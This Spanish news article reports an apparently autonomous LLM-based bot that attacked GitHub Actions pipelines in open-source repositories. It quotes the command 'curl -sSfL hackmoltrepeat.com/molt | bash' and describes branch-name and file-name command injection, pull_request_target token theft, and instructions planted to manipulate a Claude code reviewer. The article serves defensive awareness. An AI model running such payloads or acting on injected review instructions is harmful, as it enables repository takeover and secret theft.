Olvídate de los hackers con capucha: ahora lo que tumba tus proyectos es un script con una cartera de criptomonedas en el perfil

Olvídate de los hackers con capucha: ahora lo que tumba tus proyectos es un script con una cartera de criptomonedas en el perfil

Un bot autónomo comprometió los repositorios de Microsoft y Datadog

image

Según el informe de StepSecurity, durante la última semana un bot desconocido con el nombre revelador hackerbot-claw organizó una verdadera caza contra proyectos populares de código abierto y mostró cuán vulnerable sigue siendo la infraestructura de compilación. El programa automatizado buscó metódicamente puntos débiles en los flujos de trabajo de GitHub Actions y en varios casos logró ejecución remota de código, y en algunos incluso la toma completa del repositorio.

Los ataques continuaron del 21 al 28 de febrero de 2026. La cuenta hackerbot-claw, creada el 20 de febrero, se describía como "agente autónomo de investigación de seguridad" basado en un modelo de lenguaje e incluso indicaba billeteras cripto para donaciones. En una semana el bot abrió más de diez solicitudes de incorporación de cambios y comprobó deliberadamente los flujos de compilación en repositorios relacionados con Microsoft, Datadog, la Cloud Native Computing Foundation, así como en grandes proyectos independientes.

El esquema general fue siempre el mismo. El bot creaba una rama o una solicitud de incorporación de cambios, lograba que se ejecutara la comprobación automática y colaba un comando malicioso del tipo curl -sSfL hackmoltrepeat.com/molt | bash. A continuación el flujo de compilación ejecutaba el código del atacante dentro del entorno de integración continua. En cinco de los siete casos los ataques funcionaron total o parcialmente.

El episodio más grave ocurrió en el repositorio avelino/awesome-go, una de las listas más populares de proyectos en Go. El bot aprovechó un error típico de configuración: el evento pull_request_target da al flujo de trabajo acceso a los secretos del repositorio principal, pero el sistema carga el código desde una rama externa. Se añadió código malicioso en la función init() de un script auxiliar en Go para comprobación de calidad. Durante la compilación la función se ejecutó automáticamente y envió el token GITHUB_TOKEN con permisos de escritura a un servidor externo. Los registros confirmaron que la comprobación tuvo éxito y que el paso duró notablemente más de lo habitual. El token robado permitía modificar el código y fusionar las solicitudes de incorporación de cambios.

De forma similar resultó afectado el proyecto project-akri/akri. Allí el atacante simplemente añadió una línea maliciosa al script version.sh y dejó un comentario que desencadenaba la actualización automática de la versión. El script, sin comprobar el autor, ejecutó código desde la rama externa y lanzó el comando incluido.

En el repositorio microsoft/ai-discovery-agent la ataque fue más ingeniosa. La carga útil se ocultó directamente en el nombre de la rama. Cuando el flujo de trabajo grabó el nombre de la rama en un archivo a través de la shell, el intérprete realizó una sustitución de comandos. En el registro de compilación apareció una pausa de dos minutos, característica de la descarga y ejecución de un script externo.

En datadog/datadog-iac-scanner el bot codificó el comando en el nombre de un archivo en formato base64. El flujo de trabajo pasaba el nombre del archivo a un bucle de shell sin escape, lo que de nuevo derivó en la ejecución del comando. El equipo de Datadog cerró la vulnerabilidad aproximadamente nueve horas después, añadiendo una comprobación del autor y endureciendo los parámetros de ejecución.

El incidente más sonado fue el compromiso de Aqua Security y del proyecto Trivy. El bot aprovechó el mismo mecanismo pull_request_target para inyectar código en la acción de configuración de Go y robar un token de acceso personal. Diecinueve minutos después de iniciar el flujo de trabajo, el token robado se utilizó para enviar cambios directamente al repositorio principal. El atacante privatizó el proyecto, lo renombró, eliminó los lanzamientos de las versiones 0.27.0 a 0.69.1 y subió un archivo sospechoso a la extensión de Trivy para Visual Studio Code. Más tarde el equipo de Aqua Security restauró el repositorio y publicó la versión 0.69.2, pero el conteo de estrellas se reinició debido a la recreación del proyecto.

En el proyecto ambient-code/platform el bot intentó aprovechar la tendencia y atacó no a una persona sino al sistema automatizado de revisión de código basado en el modelo Claude. En el archivo de configuración se añadieron instrucciones destinadas a inducir a la modelo a introducir cambios externos y aprobar la solicitud. El modelo reconoció las inyecciones de instrucciones y rechazó las indicaciones, señalando directamente el intento de manipulación. Allí la protección funcionó.

La última víctima fue RustPython/RustPython. En el nombre de la rama se ocultó otra vez un comando codificado en base64. El proceso de autoformato se ejecutaba con privilegios elevados y sustituyó el nombre de la rama en un comando git push. En una de las ejecuciones la sustitución funcionó parcialmente, pero por un error de decodificación el comando no llegó a la fase de descarga del script.

En total el bot empleó cinco técnicas diferentes: inyección de código en flujos de trabajo, manipulación del nombre de la rama, suplantación del nombre de archivo, explotación de pull_request_target y un intento de "envenenar" instrucciones para el modelo de inteligencia artificial. Cinco de las siete metas resultaron comprometidas en mayor o menor medida. En el caso de Trivy el ataque derivó en la toma completa del repositorio y en la eliminación de lanzamientos.

La historia demuestra que los bots automáticos ya escanean proyectos de código abierto sin descansos ni fines de semana. Una configuración errónea de los flujos de compilación se convierte en una vía directa hacia secretos y tokens con permisos de escritura. Los desarrolladores deberían reconsiderar el uso de pull_request_target, limitar los permisos del token GITHUB_TOKEN y revisar con atención qué datos se pasan a comandos de shell sin escape.